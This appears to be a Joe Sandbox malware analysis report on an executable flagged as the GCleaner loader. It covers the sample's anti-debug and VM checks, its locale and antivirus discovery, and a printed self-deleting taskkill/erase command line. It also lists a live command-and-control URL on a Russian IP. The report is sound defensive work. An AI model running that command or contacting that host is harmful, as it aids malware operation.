Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX

Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe

API coverage: 8.4 %

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: Amcache.hve.3.dr	Binary or memory string: VMware
Source: KLJM7VyjZ2.exe, 00000000.00000002.1829516109.0000000001DD4000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWG"
Source: Amcache.hve.3.dr	Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.3.dr	Binary or memory string: vmci.syshbin
Source: Amcache.hve.3.dr	Binary or memory string: VMware, Inc.
Source: Amcache.hve.3.dr	Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.3.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.3.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.3.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: KLJM7VyjZ2.exe, 00000000.00000002.1830174485.0000000004220000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: Amcache.hve.3.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.3.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.3.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.3.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.3.dr	Binary or memory string: vmci.sys
Source: Amcache.hve.3.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: Amcache.hve.3.dr	Binary or memory string: vmci.syshbin`
Source: Amcache.hve.3.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.3.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.3.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.3.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.3.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.3.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.3.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.3.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.3.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.3.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.3.dr	Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.3.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.3.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: Amcache.hve.3.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563

Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Process queried: DebugPort			Jump to behavior
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Process queried: DebugPort			Jump to behavior

Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe

Code function: 0_2_0040C17B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_0040C17B

Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: 0_2_00411192 mov eax, dword ptr fs:[00000030h]	0_2_00411192
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: 0_2_0040C681 mov eax, dword ptr fs:[00000030h]	0_2_0040C681
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: 0_2_01CB092B mov eax, dword ptr fs:[00000030h]	0_2_01CB092B
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: 0_2_01CBC8E8 mov eax, dword ptr fs:[00000030h]	0_2_01CBC8E8
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: 0_2_01CC13F9 mov eax, dword ptr fs:[00000030h]	0_2_01CC13F9
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: 0_2_01CB0D90 mov eax, dword ptr fs:[00000030h]	0_2_01CB0D90
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: 0_2_01D2004B push dword ptr fs:[00000030h]	0_2_01D2004B

Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe

Code function: 0_2_00416A7C GetProcessHeap,

0_2_00416A7C

Source: C:\Windows\SysWOW64\taskkill.exe

Process token adjusted: Debug

Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: 0_2_00408809 SetUnhandledExceptionFilter,	0_2_00408809
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: 0_2_0040C17B IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_0040C17B
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: 0_2_00407C96 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00407C96
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: 0_2_00408675 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00408675
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: 0_2_01CB88DC IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_01CB88DC
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: 0_2_01CBC3E2 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_01CBC3E2
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: 0_2_01CB8A70 SetUnhandledExceptionFilter,	0_2_01CB8A70
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: 0_2_01CB7EFD SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_01CB7EFD

Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c taskkill /im "KLJM7VyjZ2.exe" /f & erase "C:\Users\user\Desktop\KLJM7VyjZ2.exe" & exit			Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /im "KLJM7VyjZ2.exe" /f

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /im "KLJM7VyjZ2.exe" /f

Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe

Code function: 0_2_00408873 cpuid

0_2_00408873

Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: EnumSystemLocalesW,	0_2_0041897A
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: EnumSystemLocalesW,	0_2_0041892F
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: EnumSystemLocalesW,	0_2_00418A15
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_00418AA0
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: EnumSystemLocalesW,	0_2_004112A2
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: GetLocaleInfoW,	0_2_00418CF3
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_00418E19
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: GetLocaleInfoW,	0_2_00418F1F
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: GetLocaleInfoW,	0_2_004117C4
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_00418FEE
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: GetLocaleInfoW,	0_2_01CC9186
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	0_2_01CC9080
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: EnumSystemLocalesW,	0_2_01CC8BE1
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: EnumSystemLocalesW,	0_2_01CC8B96
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	0_2_01CC9255
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: GetLocaleInfoW,	0_2_01CC1A2B
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: EnumSystemLocalesW,	0_2_01CC1509
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	0_2_01CC8D07
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: EnumSystemLocalesW,	0_2_01CC8C7C
Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe	Code function: GetLocaleInfoW,	0_2_01CC8F5A

Source: C:\Users\user\Desktop\KLJM7VyjZ2.exe

Code function: 0_2_0040CA21 GetSystemTimeAsFileTime,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,

0_2_0040CA21

Source: Amcache.hve.3.dr	Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.3.dr	Binary or memory string: msmpeng.exe
Source: Amcache.hve.3.dr	Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.3.dr	Binary or memory string: MsMpEng.exe

Source: C:\Windows\SysWOW64\WerFault.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct
Source: C:\Windows\SysWOW64\WerFault.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\SecurityCenter2 : AntiVirusProduct

Stealing of Sensitive Information

Yara detected GCleaner

Source: Yara match	File source: 0.2.KLJM7VyjZ2.exe.1cb0e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.KLJM7VyjZ2.exe.1cb0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.KLJM7VyjZ2.exe.36a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.KLJM7VyjZ2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.KLJM7VyjZ2.exe.36a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.KLJM7VyjZ2.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1632115312.00000000036A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality

Yara detected GCleaner

Source: Yara match	File source: 0.2.KLJM7VyjZ2.exe.1cb0e67.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.KLJM7VyjZ2.exe.1cb0e67.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.KLJM7VyjZ2.exe.36a0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.KLJM7VyjZ2.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.3.KLJM7VyjZ2.exe.36a0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.KLJM7VyjZ2.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1828436589.0000000000400000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1632115312.00000000036A0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1829397426.0000000001CB0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Windows Management Instrumentation	1 DLL Side-Loading	11 Process Injection	1 Masquerading	OS Credential Dumping	1 System Time Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Disable or Modify Tools	LSASS Memory	51 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	1 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 Virtualization/Sandbox Evasion	Security Account Manager	1 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	11 Process Injection	NTDS	1 Process Discovery	Distributed Component Object Model	Input Capture	11 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 Deobfuscate/Decode Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	2 Obfuscated Files or Information	Cached Domain Credentials	23 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	2 Software Packing	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	1 DLL Side-Loading	Proc Filesystem	System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
KLJM7VyjZ2.exe	45%	ReversingLabs	Win32.Trojan.Generic
KLJM7VyjZ2.exe	44%	Virustotal		Browse
KLJM7VyjZ2.exe	100%	Avira	HEUR/AGEN.1313019
KLJM7VyjZ2.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label	Link
http://185.172.128.90/cpa/ping.php?substr=one&s=two	25%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://185.172.128.90/cpa/ping.php?substr=one&s=two	true	25%, Virustotal, Browse	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://upx.sf.net	Amcache.hve.3.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.172.128.90	unknown	Russian Federation		50916	NADYMSS-ASRU	true

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1429196
Start date and time:	2024-04-21 08:25:05 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 47s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	26
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
